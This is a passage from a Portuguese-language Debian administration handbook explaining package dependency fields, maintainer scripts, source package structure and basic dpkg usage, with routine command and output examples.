Os campos Recommends e Suggestsdescrevem dependências que não sãocompulsórias. As dependências"recomendadas" (recommended), as maisimportantes, melhoramconsideravelmente a funcionalidadeoferecida pelo pacote mas não sãoindispensáveis para seu funcionamento.

As dependências "sugeridas" (suggested),de importância secundária, indicam quecertos pacotes podem complementar emelhorar suas funcionalidades, mas éperfeitamente normal instalar o pacotessem estas "sugestões".

você deve sempre instalar os pacotes“recomendados”, a menos que você saibaexatamente por que você não precisadeles. Por outro lado, não é necessárioinstalar pacotes “sugeridos” a menos quevocê saiba por que precisa deles.

O campo Enhances também descreve umasugestão, mas num contexto diferente. Eleé, na verdade, localizado no pacotesugerido, e não no pacote que sebeneficia da sugestão. Seu interessereside no fato de ser possível adicionaruma sugestão sem ter que modificar o

pacote beneficiado. Assim, todos osextras, plugins e outras extensões de umprograma podem, então, ser postos nalista de sugestões relativas ao software.Embora exista a vários anos, este últimocampo ainda é bastante ignorado porvários programas como o apt-get ou osynaptic. O objetivo é que uma sugestãofeita pelo campo Enhances apareça para ousuário junto com as sugestões adicionais— encontradas no campo Suggests.

5.2.1.2. Conflicts: o campoConflicts

O campo Conflicts indica quando umpacote não pode ser instaladosimultaneamente com outro. As razões

mais comuns para isto é que ambos ospacotes incluem um arquivo contendoo mesmo nome, ou fornecem o mesmoserviço na mesma porta TCP, ou vãoatrapalhar a operação um do outro.

O dpkg vai se recusar a instalar umpacote se ele iniciar um conflito comum pacote já instalado, a menos que onovo pacote especifique que ele"substitui" o pacote instalado, e nestecaso o dpkg vai escolher substituir opacote antigo pelo novo. O apt-getsempre vai seguir suas instruções: sevocê escolher instalar um novo pacote,ele vai automaticamente se oferecerpara desinstalar o pacote queapresentar um problema.

5.2.1.3. Incompatibilidades:o campo Breaks

O campo Breaks tem um efeito similarao do campo Conflicts, mas com umsignificado especial. Ele assinala que ainstalação de um pacote vai "quebrar"outro pacote (ou versões específicasdele). Em geral, esta incompatibilidadeentre dois pacotes é transitória, e arelação Breaks se refereespecificamente a estas versõesincompatíveis.

O dpkg vai se recusar a instalar umpacote que quebra um pacote jáinstalado, e o apt-get vai tentarresolver o problema atualizando o

pacote que vai ser quebrado para umanova versão (que se espera que tenhasido corrigida, logo, voltou a sercompatível).

Este tipo de situação pode ocorrer nocaso de atualizações semretrocompatibilidade: este é o caso se anova versão não funciona mais com aversão antiga, e causa um malfuncionamento em outro programa semfazer "provisões especiais". O campoBreaks evita que o usuário se ponhanestes tipos de problemas.

5.2.1.4. Itens fornecidos: ocampo Provides

Este campo introduz o interessanteconceito de "pacote virtual". Ele temmuitos papéis, mas dois são de especialimportância. O primeiro consiste emusar um pacote virtual para associarum serviço genérico com ele (o pacote"fornece" o serviço). O segundo indicaque um pacote substitui completamenteo outro, e que para este propósito eletambém pode satisfazer asdependências que o outro satisfaz. Étambém possível criar um pacote desubstituição sem ter que usar o mesmonome de pacote.

VOCABULARY Meta-pacote e pacotevirtual

É essencial distinguir claramente meta-pacotes de pacotes virtuais. Os primeirossão pacotes reais (incluindo arquivos.deb reais), cujo único propósito éexpressar dependências.

Pacotes virtuais, por outro lado, nãoexistem fisicamente; eles sãosimplesmente um meio de identificarpacotes reais basedo em critérios lógicos,comuns (serviço fornecido,compatibilidade com um programapadrão ou um pacote pré-existente, etc.).

5.2.1.4.1. Fornecendo um “Serviço”

Vamos discutir o primeiro caso emmaiores detalhes com um exemplo:Dizemos que todos os servidores de e-

mail, como o postfix ou o sendmail"fornecem" o pacote virtual mail-transport-agent. Então, qualquer pacoteque precise deste serviço para serfuncional (e.g. um gerenciador de listade e-mail, como o smartlist ou osympa) simplesmente afirma nas suasdependências que ele precisa de ummail-transport-agent ao invés deespecificar uma grande porémincompleta lista de possíveis soluções(e.g. postfix | sendmail | exim | …).Além disso, é inútil instalar doisservidores de e-mail na mesmamáquina, sendo por isso que cada umdestes pacotes declara um conflito como pacote virtual mail-transport-agent.O conflito com ele próprio é ignorado

pelo sistema, mas esta técnica iráproibir a instalação de dois servidoresde e-mail lado a lado.

DEBIAN POLICY Lista de pacotesvirtuais

Para que pacotes virtuais sejam úteis,todos têm que concordar com seus nomes.É por isto que eles são padronizados naDebian Policy. A lista inclui entre outrosmail-transport-agent para servidores de e-mail, c-compiler para compiladores delinguagem C, www-browser paranavegadores web, httpd para servidoresweb, ftp-server para servidores FTP, x-terminal-emulator para emuladores determinal em modo gráfico (xterm ) e x-window-manager para gerenciadores dejanelas.

A lista completa pode ser encontrada narede, em

→ http://www.debian.org/doc/packaging-manuals/virtual-package-names-list.txt

5.2.1.4.2. "Interchangeability" comoutro pacote

O campo Provides é novamenteinteressante quando o conteúdo de umpacote é incluído em um pacote maior.Por exemplo, o módulo Perl libdigest-md5-perl era um módulo opcional noPerl 5.6, e foi integrado como padrãono Perl 5.8 (e versões posteriores,como a 5.10 presente no Squeeze).Desta forma, o pacote perl tem, desde a

versão 5.8, declarado Provides:libdigest-md5-perl de forma que asdependências neste pacote sãosatisfeitas se o usuário tem o Perl 5.8ou 5.10. O pacote libdigest-md5-perlserá eventualmente removido, uma vezque ele não terá utilidade quandoversões antigas do Perl foremremovidas.

Figure 5.1. Uso de um campoProvides para não quebrardependências

Esta funcionalidade é muito útil, já quenunca é possível antecipar os caprichos

do desenvolvimento, e é preciso poderse renomear, e fazer outrassubstituições automáticas, de softwareobsoleto.

DE VOLTA AO BÁSICO Perl, umalinguagem de programação

Perl (Practical Extraction and ReportLanguage) é uma linguagem deprogramação muito popular. Ela temmuitos módulos prontos-para-usar quecobrem um vasto espectro de aplicações eque são distribuídas pelos servidoresCPAN (Comprehensive Perl ArchiveNetwork), uma ampla rede de pacotesPerl.

→ http://www.perl.org/

→ http://www.cpan.org/

Como é uma linguagem interpretada, umprograma escrito em Perl não precisa decompilação antes da execução. É por istoque são chamados "scripts Perl".

5.2.1.4.3. Limitações atuais

Pacotes virtuais sofrem de algumaslimitações problemáticas, sendo a maissignificante a ausência de número deversão. Voltando ao exemplo anterior,uma dependência como Depends:libdigest-md5-perl (>= 1.6),independente da presença do Perl 5.10,nunca vai ser considerado comosatisfeito pelo sistema de

empacotamento — emboraprovavelmente esteja satisfeito."Unaware" disto, o sistema deempacotamento escolhe a opção menosarriscada, assumindo que as versõesnão combinam.

INDO MAIS LONGE Versões de pacotesvirtuais

Embora atualmente os pacotes virtuaisnão possam ter versão, isto nem semprefoi o caso. Na verdade, o apt já é apto agerenciar as versões de pacotes virtuais eprovavelmente o dpkg também será.Então nós poderemos escrever camposcomo Provides: libstorable-perl (=1.7) para indicar que um pacote fornece("provides") a mesma funcionalidade dolibstorable-perl na versão 1.7.

5.2.1.5. Substituindoarquivos: o campo Replaces

O campo Replaces indica que o pacotecontém arquivos que também estãopresentes em outros pacotes, mas que opacote foi designado legitimamentepara substituí-los. Sem estaespecificação, o dpkg falha, dizendoque não pode sobreescrever arquivos deoutro pacote (na verdade, é possívelforça-lo a tal com a opção --force-overwrite). Isto permite aidentificação de problemas potenciais erequer que o mantenedor estude o

assunto antes de escolher se adicionatal campo.\n

O uso deste campo é justificado quandoos nomes dos pacotes mudam ouquando um pacote é incluído em outro.Também acontece quando omantenedor decide distribuir arquivosdiferentes entre vários pacotes bináriosproduzidos a partir do mesmo fonte:um arquivo substituído não pertencemais ao pacote antigo, mas apenas aonovo.

Se todos os arquivos num pacoteinstalado foram substituídos, o pacote éconsiderado "a ser removido".Finalmente, este campo também

encoraja o dpkg a remover o pacotesubstituido onde existir conflito.

INDO ALÉM O campo Tag

No exemplo do apt acima, vimos umcampo que ainda não descrevemos, Ocampo Tag ("etiqueta"). Este campo nãodescreve uma relação entre pacotes, ésimplesmente uma forma de categorizarum pacote numa taxonomia temática. Estaclassificação de pacote de acordo comvários critérios (tipo de interface,linguagem de programação, domínio deaplicação, etc.) é um desenvolvimentorecente no Debian. Por este motivo, aindanão está integrado em todas asferramentas; o aptitude mostra estas tags,e permite que elas sejam usadas comocritério de busca. Para os que fogem dos

critérios de busca do aptitude, osseguinte sítio permite navegação nobanco de dados de tags:

→ http://debtags.alioth.debian.org/

5.2.2. Scripts deConfiguraçãoAlém do arquivo control, oarquivamento control.tar.gz paracada pacote Debian pode conter váriosscripts, chamados pelo dpkg emdiferentes estágios do processamentode um pacote. A política Debiandescreve os possíveis casos em

detalhes, especificando os scripts e osargumentos que eles recebem. Estassequências podem se complicadas, jáque se um dos scripts falha, o dpkg vaitentar retornar a um estado satisfatóriocancelando a instalação ou a remoçãoem andamento (na medida dopossível).

INDO ALÉM diretório de dados do dpkg

Todos os scripts de configuração parapacotes instalados são armazenados nodiretório /var/lib/dpkg/info/, na formade um arquivo prefixado com o nome dopacote. Este diretório também inclui umarquivo com a extensão .list para cadapacote, contendo a lista de arquivos quepertencem a este pacote.

O arquivo /var/lib/dpkg/status contémuma série de blocos de dados (no formatodos famosos mail headers, RFC 2822)descrevendo o status de cada pacote. Ainformação do arquivo control dospacotes instalados é duplicada aqui.

Em geral, o script preinst é executadoantes da instalação do pacote, enquantoque o postinst é logo depois. Damesma forma, o prerm é chamadoantes da remoção de um pacote e opostrm depois. Uma atualização de umpacote é equivalente à remoção daversão anterior e a instalação do novo.Não é possível descrever em detalhestodos os cenários possíveis aqui, masvamos discutir os dois mais comuns:

uma instalação/atualização e umaremoção.

CUIDADO nomes simbólicos dos scripts

As sequências descritas nesta seçãochamam scripts de configuração pornomes específicos, como old-prerm ounew-postinst. Eles são, respectivamente,o script prerm contido na versão antigado pacote (instalado antes da atualização)e o script postinst contido na nova versão(instalado pela atualização).

DICA Diagramas de estado

Manoj Srivastava fez estes diagramasexplicando como os scripts deconfiguração são chamados pelo dpkg.

Diagramas similares também foramdesenvolvidos pelo Projeto DebianWomen; Eles são um pouco mais simplesde entender, mas menos completos.

→ http://people.debian.org/~srivasta/MaintainerScripts.html

→ http://wiki.debian.org/MaintainerScripts

5.2.2.1. Instalação e upgrade(atualização)

Aqui está o que acontece durante umainstalação (ou uma atualização):

1. Para uma atualização ("update"), odpkg chama o old-prermupgrade new-version.

2. Ainda para uma atualização, odpkg então executa new-preinstupgrade old-version; para umaprimeira instalação, ele executanew-preinst install. Ele podeadicionar a versão antiga noúltimo parâmetro, se o pacote jáfoi instalado e removido "since"(mas não "purged", os arquivos deconfiguração foram "retained").

3. Os arquivos do novo pacote sãoentão desempacotados, se algumarquivo já existe, ele é substituído,mas uma cópia de backup étemporariamente feita.

4. Para uma atualização, o dpkgexecuta old-postrm upgradenew-version.

5. dpkg atualiza todos os dadosinternos (lista de arquivos, scriptsde configuração, etc.) e remove osbackups dos arquivos substituídos.Este é o ponto sem volta: o dpkgnão tem mais acesso a todos oselementos necessários pararetornar ao estado anterior.

6. O dpkg vai atualizar os arquivosde configuração, pedindo aousuário para decidir se ele não forcapaz de decidir tudo sozinho. Osdetalhes deste procedimento sãodiscutidos em Section 5.2.3,“Checksums, Lista de arquivos deconfiguração”.

7. Finalmente, o dpkg configura opacote executando new-postinst

configure last-version-configured.

5.2.2.2. Remoção de pacote

Aqui temos o que acontece duranteuma remoção de pacote:

1. o dpkg chama prerm remove.2. O dpkg remove todos os arquivos

do pacote, exceto os arquivos deconfiguração e os scripts deconfiguração.

3. O dpkg executa postrm remove.Todos os scripts de configuração,exceto postrm, são removidos. Seo usuário não usou a opção“purge", as operações terminam

aqui.4. Para um purge completo do pacote

(comando lançado com dpkg --purge ou dpkg -P), os arquivos deconfiguração são tambémapagados, assim como uma certaquantidade de cópias (*.dpkg-tmp, *.dpkg-old, *.dpkg-new) earquivos temporários; então odpkg executa um postrm purge.

VOCABULARY Purge, remoçãocompleta

Quando um pacote Debian é removido, osarquivos de configuração são mantidospara facilitar uma possível reinstalação.Do mesmo modo, dados gerados por umserviço (como o conteúdo de um servidor

de diretórios LDAP ou o banco de dadosde um servidor SQL) são normalmentemantidos.

Para remover todos os dados associados aum pacote, é necessário fazer “purge” nopacote com o comando, dpkg -P pacote,apt-get remove --purge pacote ouaptitude purge pacote.

Dada a natureza definitiva de tal remoçãode dados, o 'purge' não deve ser tratado deforma leviana.

Os quatro scripts detalhados abaixo sãocomplementados por um script config,fornecido por pacotes usando debconfpara adquirir informações do usuáriopara a configuração. Durante a

instalação, este script define emdetalhes as perguntas feitas pelodebconf. As respostas são gravadas nobanco de dados do debconf para futurareferência. O script é geralmenteexecutado pelo apt antes de instalarpacotes, um a um para agrupar todas asperguntas e fazê-las todas ao usuáriono começo do processo. Os scripts depre- e pos-instalação podem então usaresta informação para operar de acordocom o que o usuário espera.

FERRAMENTA debconf

O debconf foi criado para resolver umproblema recorrente no Debian. Todos ospacotes Debian que não funcionavam semum mínimo de configuração costumavam

fazer perguntas através de chamadas aoscomandos echo e read em scripts shellcomo o postinst ou similares. Masacontecia que durante uma grandeinstalação ou atualização, o usuário tinhaque ficar junto ao computador pararesponder a várias perguntas queapareciam a qualquer momento. Estasinterações manuais agora voram quaseque completamente dispensadas, graças àferramenta debconf.

O debconf tem muitas funcionalidadesinteressantes: ele pede que odesenvolvedor especifique a interaçãocom o usuário; Ele permite localização devárias strings de caracteres postadas(todas as traduções são guardadas noarquivo templates descrevendo asinterações); tem modelos de visualizaçãodiferentes para apresentar as perguntas ao

usuário (modo texto, modo gráfico, não-interativo); e permite criação de umbanco de dados central de respostas paracompartilhar a mesma configuração comvários computadores... mas o maisimportante é que agora é possívelaprensentar todas as perguntas num blocopara o usuário antes de começar umalonga instalação ou atualização. Ousuário pode fazer outras coisas enquantoo sistema cuida da instalação sozinho,sem ter que ficar olhando para um tela aespera da próxima pergunta.

5.2.3. Checksums,Lista de arquivos de

configuraçãoalém dos arquivos de configuraçãomencionados nas seções anteriores, oarquivo control.tar.gz contémoutros arquivos. O primeiro, md5sums,contém a lista de impressões digitais(fingerprints) digitais de todos ospacotes Debian. Sua principalvantagem é que permite que umaferramenta como o debsums (quevamos estudar em Section 14.3.3.1,“Auditando Pacotes: debsums e seuslimites”) verifique se estes arquivosforam modificados desde a instalaçãodeles.

conffiles lista arquivos de pacotesque devem ser manipulados comoarquivos de configuração. Isto envolveum cuidado especial, já que arquivosde configuração podem sermodificados pelo administrador, e asmudanças são normalmentepreservadas durante a atualização dopacote.

Com efeito, nesta situação, o dpkg secomporta o mais inteligente possível:se o arquivo de configuração padrãonão mudou entre duas versões, ele nãofaz nada. Se, entretanto, o arquivomudou, ele vai tentar atualizar oarquivo. Dos casos são possíveis: ou oadministrador não tocou neste arquivo

de configuração, e neste caso o dpkgautomaticamente instala a nova versão;ou o arquivo foi modificado, e nestecaso o dpkg pergunta ao administradorqual versão ele quer usar (a antiga commodificações ou a nova que o pacotefornece). Para auxiliar nesta decisão, odpkg se oferece para mostrar um “diff”que mostra a diferença entre as duasversões. Se o usuário escolhe manter aversão antiga, a nova vai serarmazenada na mesma localização emum arquivo com o sufixo .dpkg-dist.Se o usuário escolhe a nova versão, aantiga é mentida num arquivo com osufixo .dpkg-old. Outra açãodisponível consiste em interrompermomentaneamente o dpkg para editar

o arquivo e tentar reinstalar asmodificações relevantes (previamenteidentificadas com o diff).

INDO ALÉM Evitando as perguntas doarquivo de configuração

O dpkg cuida de atualizações de arquivosde configuração, mas regularmenteinterrompe estas operações para pediruma entrada do administrador. Isto não éagradável para aqueles que desejamexecutar atualizações de uma forma não-iterativa. É por isto que este programaoferece opções para o sistema responderautomaticamente de acordo com a mesmalógica: --force-confold retém a versãoantiga do arquivo; --force-confnew vaiusar a nova versão do arquivo (estasescolhas são respeitadas, mesmo se o

arquivo não tiver sido mudado peloadministrador, o que apenas raramentetem o efeito desejado). Adicionando aopção --force-confdef diz ao dpkg parausar a opção padrão quando uma escolhaé apresentada (em outras palavras,quando o arquivo de configuraçãooriginal não foi alterado), e apenas usa --force-confnew ou --force-confold paraoutros casos.

Estas opções se aplicam ao dpkg, mas namaioria das vezes o administrador vaitrabalhar diretamente com os programasaptitude ou apt-get. É, então, necessáriosaber a sintaxe usada para indicar asopções passadas ao comando dpkg (suasinterfaces em linha de comando são muitosimilares).

# apt-get -o DPkg::Options::="--force-confdef" -o DPkg::options::="--force-confold" dist-upgrade

Estas opções podem ser armazenadasdiretamente na configuração para oprograma apt, ao invés de especificá-lastoda vez na linha de comandos. Para isto,simplesmente escreva a seguinte linha noarquivo /etc/apt/apt.conf.d/local:

DPkg::Options { "--force-confdef"; "--force-confold"; }

Ao incluir esta opção no arquivo deconfiguração faz com que ela possa serusada também numa interface gráfica,como o aptitude.

INDO ALÉM Forçar o dpkg a perguntarsobre arquivos de configuração

A opção --force-confask pede ao dpkgpara mostrar as perguntas sobre osarquivos de configuração, mesmo nos

casos onde eles normalmente não sãonecessários. Portanto, quando estiverresinstalando um pacote com esta opção,o dpkg vai refazer as perguntas paratodos os arquivos de configuraçãomodificados pelo administrador. Isto ébastante conveniente, especialmente parareinstalar o arquivo de configuraçãooriginal se este foi apagado e nenhumaoutra cópia estiver disponível: uma re-instalação normal não vai funcionar, jáque o dpkg considera a remoção umaforma de modificação legítima, e,portanto, não instala o arquivo deconfiguração desejado.

5.3. Estrutura deum Pacote Fonte

5.3.1. FormatoUm pacote fonte é normalmentecomposto de três arquivos, um .dsc,um .orig.tar.gz e um.debian.tar.gz ou .diff.gz. Elespermitem a criação de pacotes binários(arquivos .deb descritos acima) parao(s) programa(s) a partir dos fontes,escrito numa linguagem deprogramação.

O arquivo .dsc (Debian SourceControl) é um arquivo com um textocurto contendo um cabeçalho RFC2822 (assim como o arquivo controlestudado no Section 5.2.1, “Descrição:O arquivo control”) que descreve opacote fonte e indica quais outrosarquivos são partes "thereof". Éassinado pelo mantenedor, que garanteautenticidade. Veja Section 6.5,“Verificando Autenticidade do Pacote”para mais detalhes sobre o assunto.

Example 5.1. Um arquivo .dsc

-----BEGIN PGP SIGNED MESSAGE-----

Hash: SHA256

Format: 3.0 (quilt)

Source: zim

Binary: zim

Architecture: all

Version: 0.48-1

Maintainer: Emfox Zhou <[email protected]>

Uploaders: Raphaël Hertzog <[email protected]>

Homepage: http://zim-wiki.org

Standards-Version: 3.9.0

Vcs-Browser: http://svn.debian.org/wsvn/collab-maint/deb-maint/zim/trunk?op=log

Vcs-Svn: svn://svn.debian.org/collab-maint/deb-maint/zim/trunk

Build-Depends: debhelper (>= 7.4.12), python-support (>= 0.8), xdg-utils, python (>= 2.5), libgtk2.0-0 (>= 2.6), python-gtk2, python-xdg, python-simplejson | python (>= 2.6)

Checksums-Sha1:

bd84fa5104de5ed85a49723d26b350856de93217 966899 zim_0.48.orig.tar.gz

352111ff372a20579664416c9abd4970839835b3 9615 zim_0.48-1.debian.tar.gz

Checksums-Sha256:

77d8df7dc89b233fdc3aab1a8ad959c6888881ae160770f50bf880a56e02f895 966899 zim_0.48.orig.tar.gz

0fceab5d3b099075cd38c225fa4002d893c1cdf4bbcc51d1391a34248e1e1a22 9615 zim_0.48-1.debian.tar.gz

Files:

88cfc18c0c7339528d5f5f463647bb5f 966899 zim_0.48.orig.tar.gz

608b6e74aa14252dfc6236ab184bdb0c 9615 zim_0.48-1.debian.tar.gz

-----BEGIN PGP SIGNATURE-----

Version: GnuPG v1.4.10 (GNU/Linux)

Comment: Signed by Raphael Hertzog

iQEcBAEBCAAGBQJMSUAfAAoJEAOIHavrwpq5qjUIAKmM8p86GcHYTxMmKENoBUoW

UPi5R7DzrLMbFrUXKgXWLvEKQTXpmkJhh2aSWq2iY+5piBSHwMiITfaBTpdTRvzU

5nT/n9MlF8sJFESet/NgZaMPFDzWUbIy5aYbuG1TXmn/7XiDrBaQGiVqKkVLPrqc

yWhsotn3JNKIjbPDW/DjImYyKD5RZpXrbVjuIgDT1E6yxtNYwUyBlK0cx/GITNep

uV48hsT8cj0paqVXl5+P9Ww8XIE3clxNpE/45/tvKvkqGOeysc6OPAqsIw6HYFY9

0EnvMTfMpeQOA68ZqsNpUjomv5r/EGwdCbAWo5iJDsZzXQ1Feh6iSNrjv3yeRzg=

=qnbh

-----END PGP SIGNATURE-----

Observe que o pacote fonte tambémtem dependências (Build-Depends)completamente diferentes dos pacotesfonte, já que ele indicam ferramentasnecessárias para a compilação doprograma em questão e da construçãodo pacote binário.

CUIDADO espaço de nomes distinto

É importante notar aqui que não existecorrespondência forte entre o nome dopacote fonte e o dos pacotes binários queeles geram. Isto é fácil de perceber sevocê sabe que cada pacote fonte podegerar vários pacotes binários. É por issoque o arquivo .dsc tem campos para oSource e o Binary para explicitamentenomear o pacote fonte e armazenar a listade pacotes binários que ele gera.

CULTURA Por que dividir entre váriospacotes

Com frequência, um pacote fonte (paraum certo grupo de programas) pode gerarvários pacotes binários. As razões são

várias: um programa pode regularmenteser usado em diferentes contextos,portanto uma biblioteca compartilhadapode ser instalada para fazer umaaplicação funcionar (por exemplo, libc6),ou para desenvolver um novo programa(libc6-dev vai então ser o pacote correto).Encontramos a mesma lógica paraserviços cliente/servidor onde queremosinstalar a parte do servidos em umamáquina e a parte cliente em outras (esteé o caso, por exemplo, do openssh-servere do openssh-client).

Com a mesma frequência, adocumentação é fornecida num pacotededicado: o usuário pode instalar elaindependente do software, e pode, aqualquer momento removê-la paraeconomizar espaço em disco.Adicionalmente, isto também economiza

espaço em disco em espelhos Debian, jáque o pacote de documentação serácompartilhado entre todas as arquiteturas(ao invés de ter a documentaçãoduplicada nos pacotes para cadaarquitetura).

PERSPECTIVA Formatos de pacotesfonte diferentes

Originalmente existia apenas um formatode pacote fonte. Este é o formato 1.0, queassocia um arquivamento .orig.tar.gz aum patch de "debianização" .diff.gz(também existe uma variante, queconsiste de um arquivamento único.tar.gz, que é usada automaticamente senenhum .orig.tar.gz estiver disponível).

Desde o Debian Squeeze, os

Desenvolvedores Debian têm a opção deusar novos formatos que corrigem muitosproblemas do formato histórico. OFormato 3.0 (quilt) pode combinarvários arquivamentos do upstream nummesmo pacote fonte: adicionalmente aousual .orig.tar.gz, arquivamentossuplementares .orig-componente.tar.gz.Isto é útil com software que é distribuídoem vários componentes mas para o qualse deseja um único pacote fonte. Estesarquivamentos podem também sercomprimidos com o bzip2 ao invés dogzip (lzma e xz são suportados pelodpkg-source mas não são aceitos noarquivamento oficial), o que economizaespaço em disco e recursos de rede.Finalmente, o patch monolítico, .diff.gzé substituído por um arquivamento.debian.tar.gz contendo as instruções decompilação e um conjunto de patches do

upstream fornecido pelo mantenedor dopacote. Estes últimos são gravados numformato compatível com o quilt, umaferramenta que facilita o gerenciamentode séries de patches.

O .orig.tar.gz é um arquivamentocontendo o código fonte comofornecido pelo desenvolvedor oficial.Pede-se que mantenedores de pacotesDebian não modifiquem estearquivamento para que possa ser fácilverificar a fonte e a integridade doarquivo (simplesmente comparandocom o checksum) e para respeitar odesejo de alguns autores.

O .debian.tar.gz contém todas as

modificações feitas pelo mantenedorDebian, especialmente a adição de umdiretório debian contendo instruções aexecutar para construir um pacoteDebian.

FERRAMENTA Descompactando umpacote fonte

Se você tem um pacote fonte, pode usar ocomando dpkg-source (do pacote dpkg-dev) para descomprimi-lo:

$ dpkg-source -x package_0.7-1.dsc

Você também pode usar o apt-get parabaixar um pacote fonte e descompactá-loimediatamente. Isto requer, entretanto,que as linhas deb-src apropriadas estejampresentes no arquivo

/etc/apt/sources.list (para maisdetalhes, veja Section 6.1, “Preenchendono arquivo sources.list Arquivo”). Estasservem para lista os "fontes" dos pacotesfonte (ou seja, os servidores nos quais umgrupo de pacotes fonte estãohospedados).

$ apt-get source pacote

5.3.2. Uso no DebianO pacote fonte é o fundamento de tudono Debian. Todos os pacotes Debianvêm de um pacote fonte, e cadamodificação num pacote Debian éconsequência de uma modificação feitano pacote fonte. Os mantenedores

Debian trabalham com pacotes fonte,mas sabem das consequencias dos seusatos nos pacotes binários. Os frutos deseus trabalhos, portanto, sãoencontrados nos pacotes fonte doDebian: você pode facilmenteretroceder e seguir tudo.

Quando uma nova versão de um pacote(pacote fonte e um ou mais pacotesbinários) chega no servidor Debian, opacote fonte é o mais importante. Naverdade, ele vai agora ser usado poruma rede de máquinas de diferentesarquiteturas para compilação das váriasarquiteturas suportadas pelo Debian. Ofato de que o desenvolvedor tambémmanda um ou mais pacotes binários

para uma dada arquitetura érelativamente desimportante, já queestes podem ser simplesmente geradosde forma automática.

5.4. ManipulandoPacotes com odpkgO dpkg é o comando básico para lidarcom pacotes Debian no sistema. Sevocê tem pacotes .deb, é com o dpkgque você instala ou analisa seuconteúdo. Mas este programa temapenas uma visão parcial do universoDebian: ele sabe o que está instaladono sistema, e o que for dado na linha decomando, mas não sabe nada dosoutros pacotes disponíveis. Assim, elevai falhar se uma dependência não for

satisfeita. Ferramentas como o apt-get,ao contrário, criam uma lista dedependências para serem instaladas omais automaticamente possível.

OBS dpkg ou apt-get?

dpkg deve ser vista como uma ferramentade sistema (nos bastidores), e apt-getcomo uma ferramenta mais próxima dousuário, que supera as limitações prévias.Estas ferramentas trabalham juntas, cadauma com suas particularidades,adequedas para tarefas específicas.

5.4.1. Instalando

pacotesdpkg é, principalmente, umaferramenta para instalar um pacoteDebian já disponível (já que ele nãobaixa nada). Para isto, usamos suaopção -i ou --install.

Example 5.2. Instalação de umpacote com dpkg

# dpkg -i man-db_2.5.7-4_i386.deb

(Lendo banco de dados... 284247 ficheiros e directórios actualmente instalados.)

Preparing replacement man-db 2.5.7-3 (using .../man-db_2.5.7-4_i386.deb) ...

Unpacking the man-db update...

Configuriando man-db (2.5.7-4) ...

Updating database of manual pages ...

Processing triggers for “doc-base”...

Processing 1 modified documentation file(s)

Recording documents with scrollkeeper ...

Podemos ver os diferentes passosrealizados pelo dpkg; sabemos,portanto, em qual ponto um erroocorreu. A instalação pode também serrealizada em dois estágios: primeirodesempacotar, depois configurar. Oapt-get usa isto, limitando o número dechamadas para o dpkg (já que cadachamada é custosa, devido à carga dobanco de dados em memória,principalmente da lista de arquivos jáinstalados).

Example 5.3. Desempacotando econfigurando separadamente

# dpkg --unpack man-db_2.5.7-4_i386.deb

(Reading database... 284247 files already installed.)

Preparing replacement of man-db 2.5.7-3 (using .../man-db_2.5.7-4_i386.deb) ...

Unpacking the man-db update...

Processing triggers for “doc-base”...

Treatment of a modified documentation file(s)

Recording documents with scrollkeeper ...

# dpkg --configure man-db

Configuring man-db (2.5.7-4) ...

Updating database of manual pages ...

Algumas vezes, o dpkg vai falhar aoinstalar um pacote e retornar um erro;se o usuário ordenar que ele ignoreisto, ele vai mostrar apenas um aviso; épor esta razão que temos as diferentesopções --force-*. O comando dpkg --force-help, ou a documentação destecomando, vai dar uma lista completadestas opções. O erro mais frequente,que você vai encontrar, cedo ou tarde, é

colisão de arquivos. Quando um pacotecontém um arquivo que já estáinstalado por outro pacote, o dpkg serecusará a instalá-lo. As seguintesmensagens vão aparecer:

Unpacking libisc52 (from .../libisc52_1%3a9.6.ESV.R1+dfsg-0+lenny2_amd64.deb) ...

dpkg : error processing /var/cache/apt/archives/libisc52_1%3a9.6.ESV.R1+dfsg-0+lenny2_amd64.deb (--unpack) :

trying to overwrite "/usr/lib/libisc.so.50", which is also in package libisc50 1:9.6.1.dfsg.P1-3

Neste caso, se você pensa que se vocêacha que substituir este arquivo não éum risco significante à estabilidade deseu sistema (o que normalmente é ocaso), você pode usar a opção --force-overwrite, que diz ao dpkgpara ignorar este erro e sobreescrever oarquivo.

Mesmo que existam muitas opções --force-* disponíveis, apenas --force-overwrite costuma ser usadanormalmente. Estas opções existemapenas para situações excepcionais, e émelhor evitar usá-las o máximopossível para respeitar as regrasimpostas pelo mecanismo deempacotamento. Não esqueça, estasregras garantem a consistência eestabilidade de seu sistema.

CUIDADO Uso efetivo do --force-*

Se você não for cuidadoso, o uso de umaopção --force-* pode levar a um sistemaonde a família APT de comandos vai rerecusar a funcionar. Em efeito, algumasdestas opções permitem a instalação de

um pacote quando uma dependência nãoé atingida, ou quando existe um conflito.O resultado é um sistema incosistente deponto de vista de dependências, e oscomandos APT vão se recusar a executarquaisquer ações a menos que a açãopermite que o sistema retorne a um estadoconsistente (isto frequentemente consisteda instalação de dependências faltandoou da remoção de um pacoteproblemático). Isto às vezes resulta numamensagem como esta, obtida depois deinstalar uma nova versão do rdesktopenquanto ignora suas dependências deuma versão mais nova do libc6:

# apt-get dist-upgrade

[...]

You can run "apt-get -f install" to correct these problems.

The following packages contain unmet dependencies:

rdesktop: Depends on: libc6 (>= 2.5) but 2.3.6.ds1-13etch7 is installed

E: missing dependencies. Try to use the option -f.

Um administrador corajoso que temcerteza da corretude da sua análise podeescolher ignorar uma dependência ouconflito e usar a respectiva opção --force-*. Neste caso, se ele quiser sercapaz de continuar a usar o apt-get ou oaptitude, ele deve editar o/var/lib/dpkg/status para apagar oumodificar a dependência, ou conflito, queele escolher passar por cima.

Esta manipulação é um hack feio, e nuncadeve ser feita, exceto na mais extremanecessidade. Muito frequentemente, umasolução mais adequada é recompilar opacote que está causando o problema(veja em Section 15.1, “Reconstruindo umPacote a partir de suas Fontes”) ou usaruma nova versão (provavelmentecorrigida) de um site como obackports.debian.org (veja em

Section 6.1.1.2, “Os retroportes("Backports") debackports.debian.org”).

5.4.2. Remoção depacoteInvocando o dpkg com a opção -r ou --remove, seguida pelo nome de umpacote, remove o pacote. Esta remoçãoé, entretanto, incompleta: todos osarquivos de configuração e scripts,arquivos de log (logs de sistema) eoutros dados do usuário manipuladospelo pacote permanecem. A razão paramantê-los é poder desabilitar o

programa com a desinstalação,preservando a opção de reinstalarrapidamente com as mesmasconfigurações. Para removercompletamente tudo associado a umpacote, use a opção -P ou --purge,seguida do nome do pacote.

Example 5.4. Remoção e expurgo dopacote debian-cd# dpkg -r debian-cd

(Reading database... 14170 files and directories already installed.)

Removing debian-cd ...

# dpkg -P debian-cd

(Reading database... 13794 files and directories already installed.)

Removing debian-cd ...

Removing debian-cd configuration files...

5.4.3. Outras

funcionalidades dodpkg

